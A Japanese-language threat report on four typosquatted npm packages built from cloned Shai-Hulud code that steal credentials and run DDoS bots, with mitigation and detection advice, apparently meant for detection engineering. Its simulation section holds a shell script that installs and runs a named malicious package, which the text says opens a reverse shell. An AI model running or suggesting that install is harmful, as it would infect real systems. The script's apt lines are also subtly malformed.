シャイ＝フルドのクローン：TeamPCPの模倣者が登場

概要

研究者たちは、情報スティーラー機能と分散型サービス拒否（DDoS）機能を組み合わせた4つの悪意のあるnpmパッケージを発見しました。これらのパッケージはタイポスクワッティングを通じて人気のあるライブラリになりすまし、攻撃者が制御する指令・制御サーバーを使用するように改変されたオープンソースのShai-Huludコードを含んでいます。これらのパッケージのいずれかをインストールすると、資格情報の盗難、クラウドシークレットの抽出、またある場合には感染したホストをDDoSボットネットに参加させられる危険があります。この発見はnpmエコシステム内でのサプライチェーンリスクの高まりを浮き彫りにしています。

調査

アナリストは chalk-tempalte パッケージを漏洩したShai-Huludソースコードと比較し、カスタムの指令・制御エンドポイントで設定されたほぼ完全な未暗号化のコピーであることを発見しました。残りのパッケージは、盗まれたデータを別の悪意のあるドメインまたはポート 2222を介してIPアドレスに転送しました。ある変種はDDoS活動に使用されるGoベースのローカルボットサービスも展開しました。全てのパッケージは同じnpmアカウントによって公開され、これらの関係を強固にしました。

緩和策

企業は、これらの悪意のあるパッケージをすぐにプロジェクトから削除し、開発環境やビルドシステムから関連する構成アーティファクトを削除すべきです。露出した可能性のあるすべての資格情報はローテーションされるべきであり、該当する悪意のあるドメインやIPアドレスへのネットワークアクセスを遮断するべきです。チームはまた、同様の正当なライブラリを模倣するタイポスクワッティングされたパッケージのnpm依存関係を監視するべきです。

対応策

防御側は、特定された指令・制御ドメインおよびIPアドレスへの外部接続の検出を作成し、4つの悪意のあるパッケージ名のインストールを警告し、マルウェアに関連する公開鍵が埋め込まれているシステムをスキャンする必要があります。パッケージの1つをインストールしたシステムは、持続的なサービス、スケジュールタスク、追加のペイロードが配備されたかどうかを確認するためにフォレンジックレビューを受ける必要があります。

シミュレーション実行

前提条件: テレメトリーとベースラインの事前フライトチェックが完了している必要があります。

根拠: このセクションは、検出ルールをトリガーするために設計された敵の技術を詳細に説明します。コマンドとナラティブはTTPで特定されたものを直接反映し、検出ロジックによって期待される正確なテレメトリーを生成することを目的としています。

• 攻撃の流れとコマンド：

  1. 初期リコン（オプション）： 攻撃者は、犠牲者のNode.js環境を列挙して確認します。 npm が存在します。
  2. 悪意のあるパッケージ取得： 攻撃者は正当なユーティリティに似た悪意のあるnpmパッケージをダウンロードします（例： @deadcode09284814/axios-util).
  3. インストールと実行： 攻撃者は、1行のコマンドを使用してグローバルにパッケージをインストールし、すぐにリバースシェルを開くJavaScriptペイロードを実行します。
  4. 持続性（範囲外）： 攻撃者は悪意のあるパッケージを package.json に追加して、将来再利用することができます。

• 回帰テストスクリプト： スクリプトは、正確に手順2-3を反復し、Sigmaルールが一致するコマンドライン文字列を生成します。

  # malicious_npm_execution.sh
  # -------------------------------------------------
  # 1️⃣ Node.jsランタイムが存在することを確認
  if ! command -v node >/dev/null 2>&1; then
      echo "[*] Node.jsとnpmをインストール中"
      sudo apt‑update && sudo apt‑install -y nodejs npm
  fi
  
  # 2️⃣ 悪意のあるnpmパッケージをインストール（シミュレート）
  #    （実際のテストでは実際の悪意のあるパッケージを置き換えてください）
  MALICIOUS_PKG="@deadcode09284814/axios-util"
  
  echo "[*] 悪意あるパッケージをインストール中: $MALICIOUS_PKG"
  npm install -g "$MALICIOUS_PKG"
  
  # 3️⃣ ペイロードを実行、パッケージによって出荷されたもの
  #    ここでは単にパッケージを必要とします。パッケージのpostinstall
  #    スクリプトは攻撃者のコードを実行します。
  echo "[*] 悪意のあるペイロードをトリガー"
  node -e "require('$MALICIOUS_PKG');"
  
  # 4️⃣ オプション: 観察のためにシェルを開いたままにする
  sleep 30
  echo "[*] テスト完了"
  # -------------------------------------------------

• クリーンアップコマンド： 悪意のあるパッケージと生成されたファイルを削除します。

  # cleanup_malicious_npm.sh
  # -------------------------------------------------
  echo "[*] 悪意のあるnpmパッケージを削除中"
  npm uninstall -g "@deadcode09284814/axios-util" || true
  
  # ホームディレクトリから残存するnode_modulesを削除
  rm -rf "$HOME/.npm/_cacache"
  echo "[*] クリーンアップ完了"
  # -------------------------------------------------